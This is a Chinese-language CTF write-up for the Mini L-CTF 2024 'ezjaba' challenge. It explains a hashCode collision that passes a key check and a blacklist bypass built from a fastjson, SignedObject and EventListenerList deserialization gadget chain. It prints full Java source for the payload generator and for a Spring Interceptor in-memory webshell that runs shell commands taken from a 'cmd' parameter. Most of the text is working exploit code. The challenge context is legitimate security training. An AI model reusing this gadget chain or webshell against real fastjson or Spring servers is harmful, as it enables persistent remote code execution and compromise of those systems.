Mini L-CTF2024 WP
LastUpdate: 2024-05-08
前言
和队友们一起 ak 了西电招新赛 mini L-CTF 2024 的web题,基本上都比较简单,ezjaba 是 mini L-CTF 2024 web 方向的压轴题,刚好我出了唯一解于是分析下解题过程。
ezjaba
先看项目用了jdk8、springboot和fastjson,题目环境不出网,有反序列化接口。
<properties>
<java.version>8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.60</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>RELEASE</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.nqzero</groupId>
<artifactId>permit-reflect</artifactId>
<version>0.3</version>
</dependency>
</dependencies>
@RequestMapping({"/ser"})
public String ser(@RequestParam String data) {
try {
byte[] bytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
miniLObjectInputStream ois = new miniLObjectInputStream(bais);
String secret = data.substring(0, 6);
String key = ois.readUTF();
if (key.hashCode() == secret.hashCode() && !secret.equals(key)) {
ois.readObject();
} else {
return "incorrect key";
}
} catch (Exception e) {
e.printStackTrace();
return "ooooops";
}
return "success";
}
}
这里想要反序列化数据需要通过 hash 校验,这里可以使用哈希碰撞因为String类的hashcode方法是非常简单的加权求和。
public int hashCode() {
//获取上一次计算的hash值
int h = hash;
//如果是0说明哈希值还没算过,否则说明已经算过了,就不需要重复算了
if (h == 0 && value.length > 0) {
//value就是字符数组,表示当前字符串里的各个字符
char val[] = value;
for (int i = 0; i < value.length; i++) {
//加权相加
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
我的 base64 编码后的序列化数据开头5个字符是rO0ABX,根据这个算法得到"rO"的hash等价与"qn",推出"rO0ABX"的hash等价与"qn0ABX",写入"qn0ABX"就可以反序列化了,另外由于 miniLObjectInputStream 是有黑名单的,所以接下来就要考虑怎么在不出网的前提下绕过黑名单利用反序列化漏洞。
public class miniLObjectInputStream extends ObjectInputStream {
private static final String[] blacklist = new String[] { "java\\.security.*", "java\\.rmi.*", "com\\.sun\\.org\\.apache.*", "org\\.springframework.*", "javax\\.management.*" };
public miniLObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
if (!contains(cls.getName()))
return super.resolveClass(cls);
throw new InvalidClassException("Nonono:", cls.getName());
}
public static boolean contains(String targetValue) {
for (String forbiddenPackage : blacklist) {
if (targetValue.matches(forbiddenPackage))
return true;
}
return false;
}
}
这里我用 fastjson 二次反序列化加 Interceptor 内存马来实现 rce,不过一些常见的反序列化入口类如BadAttributeValueExpException,XString,HotSwappableTargetSource都在黑名单里,后面找了 javax.swing.event.EventListenerList 才终于构造出完整的利用链。
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.*;
public class fastjson {
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static void main(String[] args) throws Exception{
List<Object> list = new ArrayList<>();
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("memshell");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
byte[] bytes = ctClass.toBytecode();
Templates templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "m");
setFieldValue(templates, "_tfactory", null);
list.add(templates);
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates);
BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
setFieldValue(bd2,"val",jsonArray2);
list.add(bd2);
// 二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA"));
// 触发SignedObject#getObject
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray1);
setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
// 通过验证
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("qn0ABX");
objectOutputStream.writeObject(eventListenerList);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(res);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
System.out.println(objectInputStream.readUTF());
objectInputStream.readObject();
}
}
Interceptor内存马
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
public class memshell implements HandlerInterceptor {
static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
memshell evilInterceptor = new memshell();
adaptInterceptors.add(evilInterceptor);
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse
response, Object handler) throws Exception {
if (request.getParameter("cmd") != null) {
String[] cmds = new String[]{"sh", "-c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
总结调用过程 EventListenerList -> JSONArray#toJSONString二次反序列化SignedObject -> SignedObject二次反序列化jackson链+Interceptor内存马